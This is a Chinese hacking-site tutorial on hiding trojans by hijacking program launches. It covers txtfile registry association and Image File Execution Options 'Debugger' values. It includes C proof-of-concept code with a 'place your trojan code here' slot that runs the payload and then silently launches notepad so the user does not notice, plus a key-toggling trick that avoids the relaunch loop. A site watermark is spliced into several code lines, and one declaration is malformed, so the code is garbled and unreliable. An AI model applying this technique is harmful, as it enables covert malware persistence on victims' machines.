文件关联方法较早由“冰河”程序实现。“冰河”为了达到自我保护目的,进行了TXT和EXE文件关联。在普通程序打开后缀名为.txt 和.exe文件时,首先打开“冰河”程序,执行完既定功能后,再把相关参数(如要打开的文本文件名)传递给.txt默认的打开程序(如 notepad.exe)。具体实现就是修改注册表项:“HKEY_CLASSES_ROOT\txtfile\shell\open\command” 的REG_EXPAND_SZ类型值。系统该值默认为:“%SystemRoot%\system32\NOTEPAD.EXE %1”,其中“%1”即代表需要打开的文本文件名。“冰河”程序的这种关联方式影响了很多后来的木马后门程序,当然,也成了杀毒软件重点关注的对象。有没有另外的方法来进行程序的关联操作呢?
Solomon和Russinovich的著作:《Windows 2000内部揭秘》深入的探讨了系统方方面面的设计和实现问题。在讨论“CreateProcess流程”一节中,Russinovich指出,程序通过 CreateProcess创建进程时,首先第一步是打开要执行的映像(具体参考本书相关章节)。具体就是CreateProcess找到合适的 Win32映像,比如Win32程序是Win32还是Win16、MS-DOS、POSIX或者OS/2等等,进而会选择合适的加载器来进行Win32映像的加载。找到有效的Win32可执行映像后,CreateProcess会在注册表\HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 下查看是否有一个带有可执行映像的文件名和扩展名的子键(如是否有notepad.exe表项),如果有,则CreateProcess会在该表项中寻找名为Debugger的值。如果该值非空,则运行该值中描述的字符串(比如你的后门程序backdoor.exe),并且从阶段1重新开始。这里的阶段1 就是上面我们看到的:CreateProcess会重新打开要执行的映像,这很重要,后面我们会看到。www.hackbt.com
书中Russinovich还提到,“如果你偶尔想搞个恶作剧,就可以使用这个行为来迷惑人们,当它们要运行指定的文件时却运行了另外的文件”。如果你不是想搞恶作剧,而是想程序关联,那这个位置也是后门木马理想的温床。我们先看一下这个注册表项,如图1所示,可以看到这个注册表项存在很多项目,这么多项难免可以让我们浑水摸鱼,替换我们需要的程序。大家可能都用过Russinovich的进程查看程序Process Explorer(www.sysinternals.com),程序中有一个菜单项为“Replace Task Manager”,也就是替换Windows系统自带进程查看程序Task Manager(taskmgr.exe)。这是怎么做到的呢?其中一个偷梁换柱的技巧就是修改这个注册表项,也就是Russinovich所说的“恶作剧”程序,如图2所示。

图1

图2
注意看图2中的Debugger表项,它的值已被替换成Process Explorer的可执行程序PROCEXP.EXE了。现在大家心里都很清楚了,我们的文件关联只需在Image File Execution Options注册表项下面加入需要替换的文件名,这里我们就加入notepad.exe,然后为其增加一个REG_SZ类型的Debugger值,在其中添加木马程序的路径,如“c:\trojan.exe”,就万事大吉了。下面我们就编写一个测试程序看一下实现效果,代码如下。www.hackbt.com

view plainprint?

   #include <windows.h>  
   #include <stdio.h>  
   #include <tchar.h>  
   //#define Debug  www.hackbt.com
   int _tmain( int argc, LPTSTR argv[] )  
   {  
   LPTSTRszCmdLine[200] = {0};  
   // Prepare for CreateProcess Parameters  
   STARTUPINFO si;  
   PROCESS_INFORMATION pi;  
   ZeroMemory( &si, sizeof(si) );  
   si.cb = sizeof(si);  
   ZeroMemory( &pi, sizeofwww.hackbt.com(pi) );  

   // place your trojan code here... :)  
   MessageBox(NULL,_T("You are hacked!"),_T("Warning"),0);  
   // trojan code end  

   _tcscat(szCmdLine, argv[1]);  
   _tcscat(szCmdLine, _T(" "));  
   _tcscat(szCmdLine, argv[2]);  

   #ifdef Debugwww.hackbt.com  
   _tprintf(_T("%s\n"), szCmdLine);    
   getch();  
   #endif  

   // Start the child process.  
   if( !CreateProcess( NULL,   // No module name (use command line)  
   szCmdLine,  // Command line  
   NULL,   // Process handle not inheritablewww.hackbt.com  
   NULL,   // Thread handle not inheritable  
   FALSE,  // Set handle inheritance to FALSE  
   0,  // No creation flags  
   //CREATE_NO_WINDOWS,// No Windows !!!  
   //CREATE_NEW_PROCESS_GROUP,  
   NULL,   // Use parent's environment block  
   NULL,   // Use parent's starting directory www.hackbt.com  
   &si,// Pointer to STARTUPINFO structure  
   &pi )   // Pointer to PROCESS_INFORMATION structure  
   )  
   {  
   _tprintf( _T("CreateProcess failed (%d)\n", GetLastError()) );  
   return 2;  
   }  

   #ifdef Debug  
   // Wait until child process exits.www.hackbt.com  
   WaitForSingleObject( pi.hProcess, INFINITE );  
   #endif  
   // Close process and thread handles.  
   CloseHandle( pi.hProcess );  
   CloseHandle( pi.hThread );  
   return 0;  
   }  
   //end  

程序很简单,首先运行我们的后门程序,这里运行了一个对话框,代码为“MessageBox(NULL,_T("You are hacked!"),_T("Warning"),0);”;接下来,运行完成以后,我们还要把程序默认的步骤完成。比如程序通过这样的方式 “notepad.exe foo.txt”来打开一个名为foo.txt的文本文件。所以我们要得到这个参数,并且正常执行它,这样我们的程序才能神不知鬼不觉的执行,达到潜行的目的。
我们得到关联参数的程序如下:

_tcscat(szCmdLine, argv[1]);
_tcscat(szCmdLine, _T(" "));
_tcscat(szCmdLine, argv[2]);

大家可能会问,argv[1]和argv[2]是什么呢?argv[1]是系统默认关联的打开程序,这里就是notepad.exe;而 argv[2]就是将要打开的文本文件名,如foo.txt。因为程序是简单的测试,所以没有对输入参数个数进行检测。如果测试程序没有进行关联操作单独运行,就会发生崩溃(可能没有输入参数),这里大家要注意。
好了,得到参数以后,开始调用CreateProcess执行,程序完成。我们测试一下,结果如图3所示。
www.hackbt.com

图3
出现了预期的对话框,点击“确定”以后,又出现了这个对话框,继续点还出现。这里就是本文开始处提醒大家很重要的地方。 CreateProcess在阶段1运行了关联程序后,它会重新回到阶段1,也就是打开要执行的映像,这样就会循环往复地执行我们的对话框,而没有执行后面的程序。于是我尝试不使用CreateProcess而是采用如WinExec或ShellExecute的方式来调用,情况依旧。接着尝试放弃类似 _tcscat(szCmdLine, argv[1])的参数选取方式,采用硬编码,也就是直接调用“c:\windows\notepad.exe”的方式,还是失败。后来,尝试在 CreateProcess调用之前,先把我们关联的Debugger键值清空,运行完CreateProcess把参数正确传递并运行后,再把 Debugger键值进行关联。事实证明,该方法可行。具体编码就是进行两次注册表的读写,详见随文提供的代码。
本文中的测试程序没有很好的解决文本文件路径存在空格的问题。具体来说,如果你的文本文件在桌面,如“c:\Documents and Settings\user\桌面\foo.txt”。在程序中会把该参数截断为“c:\Documents”,这个问题就留给大家一起来研究吧。www.hackbt.com
总的来说,这种文件关联方式容易被人忽略,而且在实施过程中可能存在一些不确定的因素。但作为一种隐蔽的文件关联方式,应该被杀毒软件列入查杀范围。本文只是作为纯技术交流之用,任何利用此技术用于非法用途的行为均与本文无关。